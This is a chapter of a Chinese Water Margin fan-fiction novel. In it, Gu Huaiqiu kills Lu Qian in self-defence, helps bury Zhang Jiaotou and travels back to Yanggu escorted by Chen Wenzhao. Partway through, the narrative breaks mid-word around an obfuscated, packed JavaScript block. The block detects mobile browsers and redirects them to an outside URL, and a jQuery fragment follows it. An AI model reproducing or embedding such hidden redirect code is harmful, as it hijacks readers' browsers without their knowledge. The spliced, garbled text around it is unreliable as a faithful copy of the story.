44.一起回阳谷
作品:《[水浒]恶女潘金莲》 “砰!”
陆谦的身体重重倒地,溅起一片尘土。一股温热的液体喷洒而出,有几滴溅到顾怀秋的手背上,那黏腻的触感让她浑身一激灵。
“哐当!”
手中紧握的长刀脱手落地,砸在坚硬的土路上,发出刺耳的声响。
顾怀秋看看地上陆谦的尸体,又看看自己沾着鲜血的双手,身体不受控制地颤抖起来。
杀人……她真的杀人了。人命在她手中终结的感觉,像潮水般淹没了她。
就在这眨眼的功夫,两骑已到了跟前。马蹄声急停,陈文昭翻身下马,几步冲到顾怀秋面前,声音带着前所未有的焦急:“可有受伤?”
顾怀秋缓缓抬起眼,看着面前这张熟悉的面容。此刻,那双总是温和含笑的眼眸里,写满了毫不掩饰的担忧,倒映着她苍白失神的脸。
她咬了咬牙,挤出一丝难看的笑容:“我杀人了。”
陈文昭看到她止不住的发抖,又垂眸看向她那双染血颤抖的手。他没有说话,只是伸出自己的手,轻轻握住了她的。
“没事。”他轻声道,“你这是自卫。”
顾怀秋感受到手上传来的温度,那颤抖似乎稍微平息了一些,但心跳依旧如擂鼓。
陈文昭松开手,从怀中掏出一张青色的手帕。他牵起顾怀秋的手,仔仔细细地擦拭着她手上的血迹。血渍在青色帕子上晕开,变成暗沉的褐色。
擦干净双手,他又弯腰捡起地上那把短匕。匕身上有几个豁口,还沾了血。他用帕子擦拭干净,犹豫了一瞬,别进了自己的腰间。
“没事了。”陈文昭道。
顾怀秋一直看着陈文昭的动作,努力将自己的注意力集中到他的动作上,不去想刚才把刀捅进肉身的感觉。她深吸一口气,强逼自己冷静下来。是的,没事了。
“高衙内和陆谦的尸首……”她看向陈文昭,“怎么办?”
陈文昭顺着她的目光看了一眼地上的尸体:“陈直会处理。你不用担心。”
顾怀秋点点头。她其实有个疑问——陈文昭为什么会出现在这里?怎么找到她们的?但现在实在没心情细究。血腥味还在鼻尖萦绕,她只想尽快离开这个地方。
“那……我们赶紧离开吧。”她看向树林尽头,“万一高府的人再追来。”
“好。”陈文昭应道,目光扫过马车和晨光,“先离开此地再说。”
顾怀秋努力让自己看起来镇定一些。她走到自己的马跟前,深吸一口气,伸手抓住马鞍,左脚踩上马镫,用力一蹬——
腿却一软,竟然没能翻上去。大概是刚才的生死搏斗耗尽了力气,现在松懈下来,手脚还在发软。
她咬了咬牙,准备再试一次。正要发力,腰间忽然一紧,整个人竟被凌空抱了起来!
顾怀秋一惊,下意识回头看去。
陈文昭不知何时已到了她身后,双臂稳稳地托住了她。他脸上没什么表情,只是目光沉沉地看着她。
“我没事!”顾怀秋嘴硬道,耳根却有些发热,“就是刚才打架,把力气用完了,缓一缓就好。放我下来,我自己能……”
陈文昭没说话,径直抱着她走向自己的那匹白马。他将顾怀秋轻轻放在马鞍前侧。紧接着,他自己也翻身上马,自然而然地坐在了她身后。双臂从她身侧环过,握住了缰绳,将她整个人虚拢在怀里。
这个姿势太过亲密,顾怀秋身体瞬间僵住,脊背挺得笔直,几乎能感受到身后传来的体温和心跳。陈文昭身上那股清冽的气息,清晰地萦绕在鼻端,与刚才的血腥味形成了鲜明的对比。
“坐稳。”陈文昭在她耳边低声道,声音平稳,听不出情绪。
马车里的张氏和锦儿哭得几乎虚脱,又兼惊吓,二人早已瘫软。晨光已经坐到了车辕上。陈直将张教头的遗体小心地抱起来,横放在顾怀秋那匹马的背上,用绳索固定好。
“牵着顾掌柜的马,跟紧马车。”陈直对晨光吩咐道,然后将缰绳递给他。
晨光点点头,虽然灰头土脸,但眼神已恢复了坚毅。他一手握着马车的缰绳,一手牵着顾怀秋的马,马背上驮着张教头的遗体。
陈文昭最后看了一眼狼藉的现场,对陈直说了句:“七里桥见。”
“是,郎君。”
陈文昭不再多言,一抖缰绳,白马迈开步子,向前驰去。晨光赶着马车,牵着驮尸的马,紧跟在后面。
马蹄嘚嘚,车轮辘辘。一行人迅速离开了那片弥漫着死亡气息的树林。
约莫一个时辰后,他们抵达了陈文昭所说的“七里桥”。这是一座横跨小溪的石拱桥,桥头有几株老柳树,枝繁叶茂,颇为隐蔽。桥下溪水潺潺,冲刷着鹅卵石,发出悦耳的声响。
众人在桥头柳荫下歇息。陈文昭先下马,然后将手伸向将顾怀秋,顾怀秋犹豫了一下,就着他的手下了马。
不多时,陈直回来了,还带来了铁锹、草席和纸钱等物。
“郎君,都处理好了。”陈直道。
陈文昭微微颔首,目光转向马上张教头的遗体:“让老人家入土为安吧。”
陈直和晨光在柳树林后面选了一处干燥平整的地方,开始挖坑。顾怀秋想去帮忙,被陈文昭拦住了。
“你歇着。”
张氏和锦儿跪在一边,默默垂泪。
顾怀秋走到张氏身边,蹲下身,轻轻拍了怕她的手:“林娘子,节哀。张教头是为保护咱们而去的,往后咱们都要好好活着。”
张氏抬起泪眼,看着顾怀秋,又看看正在挖坑的晨光和陈直,最终目光落在远处负手而立的陈文昭身上,声音哽咽:“多谢……多谢诸位恩公。若不是你们,我们早已……爹爹他……爹爹他……”
她说不下去,又失声痛哭。锦儿也在一旁抹眼泪。
坑挖好了。陈直和晨光用草席包裹好张教头,小心地放入坑中,填土,垒起一个小小的坟包。陈直点燃纸钱,青烟袅袅升起。
张氏和锦儿在坟前磕了三个头。没有墓碑,甚至没有名姓,只有一抔黄土,几缕青烟,埋葬了她的老父亲。
“这里叫‘七里桥’,来日你和林教头相聚,若是有余力,便可来此处将张教头带回去。”顾怀秋道。
张氏感激地点了点头。
陈文昭靠着一棵柳树,静静看着顾怀秋。
做完这一切,众人不再耽搁,继续赶路。
一直走到傍晚,终于遇到个小村庄,炊烟袅袅。陈直先去打探,回来说村里没有客栈,他找到村头一户人家,愿意收留他们住一夜。
于是,几人便在这户人家住了下来。吃过简单的晚饭,各系洗漱歇息。房间紧张,顾怀秋便和张贞娘、锦儿住一间屋子。
房间只有一张土炕,勉强能睡下三人。张氏和锦儿身心俱疲,一上炕便睡了过去,只是睡梦中仍不时啜泣。
顾怀秋却无论如何也睡不着。
一闭上眼,眼前就出现陆谦那双充满杀意的眼睛、刀锋破空而来的寒光、刀刃入肉时那沉闷的“噗”声,以及喷洒在手上的温热血液……
她在黑暗中瞪大眼睛,冷汗浸湿了里衣。明明身体累极,神经却紧绷如弦。她强迫自己深呼吸,数数,可是都没用。血腥的画面一次次闯入脑海。
后半夜,她终于迷迷糊糊睡着了,却立刻陷入噩梦。梦里,她又在杀人,一个接一个,怎么也停不下来,手上、身上全是血……
“啊!”她惊叫着坐起身,大口喘气。
旁边的张氏似乎动了动,但是没有醒。
片刻后,顾怀秋抹了把额头的冷汗,在黑暗中静静坐着。
隔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994922|190678||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
壁房间,晨光、陈文昭和陈直三人同住。陈直和衣而卧。晨光虽然白天经历了生死搏杀,又挖坑埋人,累得够呛,但还是翻来覆去睡不着。
陈文昭也没睡,躺在炕上闭目养神。
“晨光。”黑暗中,陈文昭忽然开口,声音不高。
晨光一惊,低低嗯了一声。
“你们此番来东京,所为何事?”陈文昭语气随意,仿佛只是闲聊。
晨光心里一紧,道:“掌柜的说东京繁华,想来看看,将来有机会开个分店。”
“哦?”陈文昭的声音听不出情绪,“那为何要带走林教头的家眷,得罪高衙内?”
“我们娘子心善,路见不平拔刀相助。”
“路见不平?”陈文昭轻轻重复了一遍。
晨光没应声。
片刻后,陈文昭淡淡道:“睡吧,明日还要赶路。”
第二天清晨,众人早起用饭。顾怀秋面色苍白,眼下隐隐发青。陈文昭看了她一眼,什么也没说。
吃完饭,准备上路。顾怀秋坚持要自己骑马,晨光劝她和张娘子锦儿一起坐马车。顾怀秋不肯。晨光劝不动她,便用眼神向陈文昭求助。
陈文昭只是沉默地看着。等顾怀秋走到马前,他忽然上前,伸手扶住她的胳膊,助她上马。顾怀秋愣了一下,低声道了句“多谢”。
一行人再次上路。官道平坦,微风拂面,昨日种种仿佛已经远去。
骑在马上,顾怀秋的心绪也渐渐平复下来。她侧头看向并辔而行的陈文昭,终于问出了心中的疑惑:“潘公子怎会来东京?”
陈文昭目视前方,侧脸线条在晨光中格外温润。“处理一些家里的生意。途经附近,听到动静,便过去看看。”
真的吗?
顾怀秋总觉得没那么简单。但她没有追问。
“这次多亏潘公子及时赶到。否则我们恐怕凶多吉少。”
陈文昭转头看了她一眼:“不必言谢。”顿了顿,又道,“只是高家势大,此番你虽侥幸脱身,但难保没有后患。”
顾怀秋点头:“我明白。这次是我莽撞了。”其实她觉得自己并没有莽撞,彼时彼刻,这是她能想出来的唯一办法了。
陈文昭突然笑了,悠悠道:“不过,顾掌柜能从高家眼皮底下将人带出城,还能临危不惧,已非常人能及。”
顾怀秋苦笑:“侥幸,加上被逼到绝路了。”
陈文昭笑了笑,没再接话,
接下来的路途,平静而沉默。张氏主仆沉浸在丧父之痛中,寡言少语。顾怀秋除了必要的交流,也很少说话。陈文昭话也不多。倒是晨光和陈直不时说几句话,向陈直请教些认路的技巧。
如此走了七八日,沿途经过城镇便补给歇息,避开大的州县,专走小道,倒也平安无事。
这日午后,一行人走到一处岔路口。一条路继续向北,通往东平府方向;另一条向南,是回阳谷县的路。
陈文昭勒住马,看向顾怀秋:“我要回东平府了。”
顾怀秋点点头:“这一路,多谢潘公子照应。大恩不言谢,日后若有需要,在下定赴汤蹈火,在所不辞。”
陈文昭目光在她脸上停留片刻,点了点头。他又看向晨光:“照顾好你家掌柜。”
晨光点头,嗯了一声。
陈文昭最后对顾怀秋微微颔首,和陈直策马离去。
顾怀秋望着两道身影渐行渐远,最终消失在飞扬的尘土中。心里忽然空了一下。她愣了愣,深吸一口气,收回目光,对晨光道:“走吧,回家。”
“是,掌柜的!”晨光响亮地应了一声,挥动马鞭,马车朝着阳谷县的方向而去。
来时三人,归时……不仅人多了,还带回了一段惊心动魄的回忆。前方阳谷县里……希望一切如旧吧!

